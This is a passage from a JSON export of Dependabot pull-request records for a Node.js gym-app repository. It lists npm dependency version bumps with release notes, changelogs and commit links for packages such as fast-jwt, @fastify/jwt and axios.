TOKEN_ERROR_CODES and derive duplicated error code types from it...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/ad60c8353b1e9bbdcf79dd158a3636dc4dd73269\"\u003e\u003ccode\u003ead60c83\u003c/code\u003e\u003c/a\u003e chore: migrate to OIDC publishing for npm releases (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/569\"\u003e#569\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/4699c54de3820bb0e3d0622d3838d4e8ec98839a\"\u003e\u003ccode\u003e4699c54\u003c/code\u003e\u003c/a\u003e chore: import crypto once (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/568\"\u003e#568\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/b9c7bc3cfb54a007476f365b6250c20efb566231\"\u003e\u003ccode\u003eb9c7bc3\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump tsd from 0.32.0 to 0.33.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/567\"\u003e#567\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v3.3.2...v6.2.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for fast-jwt since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@fastify/jwt` from 8.0.0 to 10.0.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/fastify/fastify-jwt/releases\"\u003e\u003ccode\u003e@​fastify/jwt\u003c/code\u003e's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.0.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eBreaking changes\u003c/h3\u003e\n\u003cp\u003ebuild(deps): bump fast-jwt from 5.0.6 to 6.0.1 (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/374\"\u003efastify/fastify-jwt#374\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003ePlease see \u003ca href=\"https://github.com/nearform/fast-jwt/releases/tag/v6.0.0\"\u003ehttps://github.com/nearform/fast-jwt/releases/tag/v6.0.0\u003c/a\u003e for details on how it might affect you.\u003c/p\u003e\n\u003ch3\u003eOther\u003c/h3\u003e\n\u003cp\u003echore(license): update date ranges; standardise style (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/379\"\u003efastify/fastify-jwt#379\u003c/a\u003e)\u003c/p\u003e\n\u003ch2\u003ev9.1.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003etest: migrate to node test runner by \u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/367\"\u003efastify/fastify-jwt#367\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eci(ci): set job permissions by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/370\"\u003efastify/fastify-jwt#370\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: use \u003ccode\u003enode:\u003c/code\u003e prefix to bypass require.cache call for builtins by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/371\"\u003efastify/fastify-jwt#371\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: capture missingRequiredClaim errors and map to 401  by \u003ca href=\"https://github.com/frederikprijck\"\u003e\u003ccode\u003e@​frederikprijck\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/369\"\u003efastify/fastify-jwt#369\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ilteoood\"\u003e\u003ccode\u003e@​ilteoood\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/367\"\u003efastify/fastify-jwt#367\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/frederikprijck\"\u003e\u003ccode\u003e@​frederikprijck\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/369\"\u003efastify/fastify-jwt#369\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify-jwt/compare/v9.0.4...v9.1.0\"\u003ehttps://github.com/fastify/fastify-jwt/compare/v9.0.4...v9.1.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev9.0.4\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eperf: Improve performance by caching verifier (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/360\"\u003efastify/fastify-jwt#360\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify-jwt/compare/v9.0.3...v9.0.4\"\u003ehttps://github.com/fastify/fastify-jwt/compare/v9.0.3...v9.0.4\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev9.0.3\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(package): add funding and contribs by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/357\"\u003efastify/fastify-jwt#357\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: use optional chaining by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/359\"\u003efastify/fastify-jwt#359\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003erefactor: prefix unused params with underscores by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/361\"\u003efastify/fastify-jwt#361\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs(readme): spelling and grammar fixes by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/362\"\u003efastify/fastify-jwt#362\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/fastify/fastify-jwt/compare/v9.0.2...v9.0.3\"\u003ehttps://github.com/fastify/fastify-jwt/compare/v9.0.2...v9.0.3\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev9.0.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ebuild(deps): bump fastify/workflows from 5.0.0 to 5.0.1 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/349\"\u003efastify/fastify-jwt#349\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: update readme to clarify fastify version compatibility by \u003ca href=\"https://github.com/simoneb\"\u003e\u003ccode\u003e@​simoneb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/350\"\u003efastify/fastify-jwt#350\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps-dev): bump \u003ccode\u003e@​fastify/cookie\u003c/code\u003e from 10.0.1 to 11.0.1 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/351\"\u003efastify/fastify-jwt#351\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Async key provider and errors should be resolved internally -- dynamic JWTs in tests by \u003ca href=\"https://github.com/jmjf\"\u003e\u003ccode\u003e@​jmjf\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/338\"\u003efastify/fastify-jwt#338\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003estyle: remove trailing whitespace by \u003ca href=\"https://github.com/Fdawgs\"\u003e\u003ccode\u003e@​Fdawgs\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/pull/352\"\u003efastify/fastify-jwt#352\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/3567a1756198819f8142a961136d403d242f5847\"\u003e\u003ccode\u003e3567a17\u003c/code\u003e\u003c/a\u003e Prepare to release 10.0.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/e7580622518dbf8366b4d8f4c81e6c1e0d41e6db\"\u003e\u003ccode\u003ee758062\u003c/code\u003e\u003c/a\u003e build(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 22.16.0 to 24.0.10 (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/380\"\u003e#380\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/870af5b1477e58ee91ed90b285d95ef7f94de70b\"\u003e\u003ccode\u003e870af5b\u003c/code\u003e\u003c/a\u003e chore(license): update date ranges; standardise style (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/379\"\u003e#379\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/4cbf5a541e3919b9e8ced30ce764095620a6bd78\"\u003e\u003ccode\u003e4cbf5a5\u003c/code\u003e\u003c/a\u003e build(deps-dev): bump tsd from 0.31.2 to 0.32.0 (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/375\"\u003e#375\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/89aad693226de097d2e53623678854caedc31cfe\"\u003e\u003ccode\u003e89aad69\u003c/code\u003e\u003c/a\u003e build(deps): bump fast-jwt from 5.0.6 to 6.0.1 (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/374\"\u003e#374\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/8932cc9c99aa212fb469f69f5979c5c733f0df1c\"\u003e\u003ccode\u003e8932cc9\u003c/code\u003e\u003c/a\u003e ci: restore job level permissions (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/373\"\u003e#373\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/09b5810e6e93a7e119632ed276e460bdf39cda76\"\u003e\u003ccode\u003e09b5810\u003c/code\u003e\u003c/a\u003e ci: set permissions at workflow level (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/372\"\u003e#372\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/0811cf5953d1052e1543c7c2c572035dca962c1b\"\u003e\u003ccode\u003e0811cf5\u003c/code\u003e\u003c/a\u003e Bumped v9.1.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/523e7521b9b90f91335d9e40c9dd89a0064bfb32\"\u003e\u003ccode\u003e523e752\u003c/code\u003e\u003c/a\u003e fix: capture missingRequiredClaim errors and map to 401  (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/369\"\u003e#369\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/fastify/fastify-jwt/commit/2afec0298f85e557c32ecd8c69d6242aeefd9937\"\u003e\u003ccode\u003e2afec02\u003c/code\u003e\u003c/a\u003e perf: use \u003ccode\u003enode:\u003c/code\u003e prefix to bypass require.cache call for builtins (\u003ca href=\"https://redirect.github.com/fastify/fastify-jwt/issues/371\"\u003e#371\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/fastify/fastify-jwt/compare/v8.0.0...v10.0.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~kibertoad\"\u003ekibertoad\u003c/a\u003e, a new releaser for \u003ccode\u003e@​fastify/jwt\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/DouglasPortoo/GymPass-style-app-SOLID-API/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/DouglasPortoo/GymPass-style-app-SOLID-API/pull/17","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/DouglasPortoo%2FGymPass-style-app-SOLID-API/issues/17","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/17/packages"},{"uuid":"4197042387","node_id":"PR_kwDOQsw9oM7PrKtG","number":2,"state":"closed","title":"Bump the npm_and_yarn group across 3 directories with 29 updates","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-04-08T03:59:26.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-02T21:20:39.000Z","updated_at":"2026-04-08T03:59:27.000Z","time_to_close":455927,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"npm_and_yarn","update_count":29,"packages":[{"name":"axios","old_version":"1.7.9","new_version":"1.13.5","repository_url":"https://github.com/axios/axios"},{"name":"fast-jwt","old_version":"2.2.2","new_version":"6.1.0","repository_url":"https://github.com/nearform/fast-jwt"},{"name":"fastify","old_version":"4.23.2","new_version":"5.8.3","repository_url":"https://github.com/fastify/fastify"},{"name":"qs","old_version":"6.11.0","new_version":"6.14.2","repository_url":"https://github.com/ljharb/qs"},{"name":"ajv","old_version":"8.12.0","new_version":"8.18.0","repository_url":"https://github.com/ajv-validator/ajv"},{"name":"jsonpath","old_version":"1.1.1","new_version":"1.3.0","repository_url":"https://github.com/dchester/jsonpath"},{"name":"liquidjs","old_version":"10.7.1","new_version":"10.25.0","repository_url":"https://github.com/harttle/liquidjs"},{"name":"markdown-it","old_version":"13.0.1","new_version":"14.1.1","repository_url":"https://github.com/markdown-it/markdown-it"},{"name":"mjml","old_version":"4.14.1","new_version":"4.18.0","repository_url":"https://github.com/mjmlio/mjml"},{"name":"nodemailer","old_version":"6.9.7","new_version":"8.0.4","repository_url":"https://github.com/nodemailer/nodemailer"},{"name":"next","old_version":"13.5.6","new_version":"15.5.14","repository_url":"https://github.com/vercel/next.js"},{"name":"@tiptap/extension-link","old_version":"2.7.1","new_version":"2.10.4","repository_url":"https://github.com/ueberdosis/tiptap"},{"name":"vite","old_version":"5.4.6","new_version":"5.4.21","repository_url":"https://github.com/vitejs/vite"},{"name":"bn.js","old_version":"4.12.0","new_version":"4.12.3","repository_url":"https://github.com/indutny/bn.js"},{"name":"flatted","old_version":"3.2.7","new_version":"3.4.2","repository_url":"https://github.com/WebReflection/flatted"},{"name":"js-yaml","old_version":"3.14.1","new_version":"3.14.2","repository_url":"https://github.com/nodeca/js-yaml"},{"name":"jws","old_version":"3.2.2","new_version":"3.2.3","repository_url":"https://github.com/brianloveswords/node-jws"},{"name":"lodash","old_version":"4.17.21","new_version":"4.18.1","repository_url":"https://github.com/lodash/lodash"},{"name":"minimatch","old_version":"3.1.2","new_version":"3.1.5","repository_url":"https://github.com/isaacs/minimatch"},{"name":"node-forge","old_version":"1.3.1","new_version":"1.4.0","repository_url":"https://github.com/digitalbazaar/forge"},{"name":"picomatch","old_version":"2.3.1","new_version":"2.3.2","repository_url":"https://github.com/micromatch/picomatch"},{"name":"rollup","old_version":"4.21.3","new_version":"4.60.1","repository_url":"https://github.com/rollup/rollup"},{"name":"tar","old_version":"6.1.15","new_version":"6.2.1","repository_url":"https://github.com/isaacs/node-tar"},{"name":"tmp","old_version":"0.2.1","new_version":"0.2.5","repository_url":"https://github.com/raszi/node-tmp"},{"name":"webpack","old_version":"5.96.1","new_version":"5.105.4","repository_url":"https://github.com/webpack/webpack"},{"name":"yaml","old_version":"1.10.2","new_version":"1.10.3","repository_url":"https://github.com/eemeli/yaml"}],"path":null,"ecosystem":"npm"},"body":"Bumps the npm_and_yarn group with 26 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [axios](https://github.com/axios/axios) | `1.7.9` | `1.13.5` |\n| [fast-jwt](https://github.com/nearform/fast-jwt) | `2.2.2` | `6.1.0` |\n| [fastify](https://github.com/fastify/fastify) | `4.23.2` | `5.8.3` |\n| [qs](https://github.com/ljharb/qs) | `6.11.0` | `6.14.2` |\n| [ajv](https://github.com/ajv-validator/ajv) | `8.12.0` | `8.18.0` |\n| [jsonpath](https://github.com/dchester/jsonpath) | `1.1.1` | `1.3.0` |\n| [liquidjs](https://github.com/harttle/liquidjs) | `10.7.1` | `10.25.0` |\n| [markdown-it](https://github.com/markdown-it/markdown-it) | `13.0.1` | `14.1.1` |\n| [mjml](https://github.com/mjmlio/mjml/tree/HEAD/packages/mjml) | `4.14.1` | `4.18.0` |\n| [nodemailer](https://github.com/nodemailer/nodemailer) | `6.9.7` | `8.0.4` |\n| [next](https://github.com/vercel/next.js) | `13.5.6` | `15.5.14` |\n| [@tiptap/extension-link](https://github.com/ueberdosis/tiptap/tree/HEAD/packages/extension-link) | `2.7.1` | `2.10.4` |\n| [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) | `5.4.6` | `5.4.21` |\n| [bn.js](https://github.com/indutny/bn.js) | `4.12.0` | `4.12.3` |\n| [flatted](https://github.com/WebReflection/flatted) | `3.2.7` | `3.4.2` |\n| [js-yaml](https://github.com/nodeca/js-yaml) | `3.14.1` | `3.14.2` |\n| [jws](https://github.com/brianloveswords/node-jws) | `3.2.2` | `3.2.3` |\n| [lodash](https://github.com/lodash/lodash) | `4.17.21` | `4.18.1` |\n| [minimatch](https://github.com/isaacs/minimatch) | `3.1.2` | `3.1.5` |\n| [node-forge](https://github.com/digitalbazaar/forge) | `1.3.1` | `1.4.0` |\n| [picomatch](https://github.com/micromatch/picomatch) | `2.3.1` | `2.3.2` |\n| [rollup](https://github.com/rollup/rollup) | `4.21.3` | `4.60.1` |\n| [tar](https://github.com/isaacs/node-tar) | `6.1.15` | `6.2.1` |\n| [tmp](https://github.com/raszi/node-tmp) | `0.2.1` | `0.2.5` |\n| [webpack](https://github.com/webpack/webpack) | `5.96.1` | `5.105.4` |\n| [yaml](https://github.com/eemeli/yaml) | `1.10.2` | `1.10.3` |\n\nBumps the npm_and_yarn group with 2 updates in the /packages/api directory: [fast-jwt](https://github.com/nearform/fast-jwt) and [fastify](https://github.com/fastify/fastify).\nBumps the npm_and_yarn group with 4 updates in the /packages/backend-lib directory: [fast-jwt](https://github.com/nearform/fast-jwt), [fastify](https://github.com/fastify/fastify), [markdown-it](https://github.com/markdown-it/markdown-it) and [nodemailer](https://github.com/nodemailer/nodemailer).\n\nUpdates `axios` from 1.7.9 to 1.13.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/axios/axios/releases\"\u003eaxios's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev1.13.5\u003c/h2\u003e\n\u003ch2\u003eRelease 1.13.5\u003c/h2\u003e\n\u003ch3\u003eHighlights\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eSecurity:\u003c/strong\u003e Fixed a potential \u003cstrong\u003eDenial of Service\u003c/strong\u003e issue involving the \u003ccode\u003e__proto__\u003c/code\u003e key in \u003ccode\u003emergeConfig\u003c/code\u003e. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7369\"\u003e#7369\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eBug fix:\u003c/strong\u003e Resolved an issue where \u003ccode\u003eAxiosError\u003c/code\u003e could be missing the \u003ccode\u003estatus\u003c/code\u003e field on and after \u003cstrong\u003ev1.13.3\u003c/strong\u003e. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7368\"\u003e#7368\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanges\u003c/h3\u003e\n\u003ch4\u003eSecurity\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eFix Denial of Service via \u003ccode\u003e__proto__\u003c/code\u003e key in \u003ccode\u003emergeConfig\u003c/code\u003e. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7369\"\u003e#7369\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eFixes\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eFix/5657. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7313\"\u003e#7313\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003estatus\u003c/code\u003e is present in \u003ccode\u003eAxiosError\u003c/code\u003e on and after v1.13.3. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7368\"\u003e#7368\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eFeatures / Improvements\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eAdd input validation to \u003ccode\u003eisAbsoluteURL\u003c/code\u003e. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7326\"\u003e#7326\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRefactor: bump minor package versions. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7356\"\u003e#7356\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eDocumentation\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eClarify object-check comment. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7323\"\u003e#7323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix deprecated \u003ccode\u003eBuffer\u003c/code\u003e constructor usage and README formatting. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7371\"\u003e#7371\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eCI / Maintenance\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eChore: fix issues with YAML. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7355\"\u003e#7355\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCI: update workflow YAMLs. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7372\"\u003e#7372\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCI: fix run condition. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7373\"\u003e#7373\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eDev deps: bump \u003ccode\u003ekarma-sourcemap-loader\u003c/code\u003e from 0.3.8 to 0.4.0. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7360\"\u003e#7360\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChore(release): prepare release 1.13.5. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7379\"\u003e#7379\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNew Contributors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sachin11063\"\u003e\u003ccode\u003e@​sachin11063\u003c/code\u003e\u003c/a\u003e (first contribution — PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7323\"\u003e#7323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/asmitha-16\"\u003e\u003ccode\u003e@​asmitha-16\u003c/code\u003e\u003c/a\u003e (first contribution — PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7326\"\u003e#7326\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog:\u003c/strong\u003e \u003ca href=\"https://github.com/axios/axios/compare/v1.13.4...v1.13.5\"\u003ehttps://github.com/axios/axios/compare/v1.13.4...v1.13.5\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev1.13.4\u003c/h2\u003e\n\u003ch2\u003eOverview\u003c/h2\u003e\n\u003cp\u003eThe release addresses issues discovered in v1.13.3 and includes significant CI/CD improvements.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/axios/axios/compare/v1.13.3...v1.13.4\"\u003ev1.13.3...v1.13.4\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eWhat's New in v1.13.4\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003efix: issues with version 1.13.3\u003c/strong\u003e (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7352\"\u003e#7352\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/ee90dfc28abffbb61e24974b2bd3139a4a40ac76\"\u003eee90dfc\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eFixed issues discovered in v1.13.3 release\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/axios/axios/blob/v1.x/CHANGELOG.md\"\u003eaxios's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eChangelog\u003c/h1\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/axios/axios/compare/v1.13.2...v1.13.3\"\u003e1.13.3\u003c/a\u003e (2026-01-20)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ehttp2:\u003c/strong\u003e Use port 443 for HTTPS connections by default. (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7256\"\u003e#7256\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/d7e60653460480ffacecf85383012ca1baa6263e\"\u003ed7e6065\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003einterceptor:\u003c/strong\u003e handle the error in the same interceptor (\u003ca 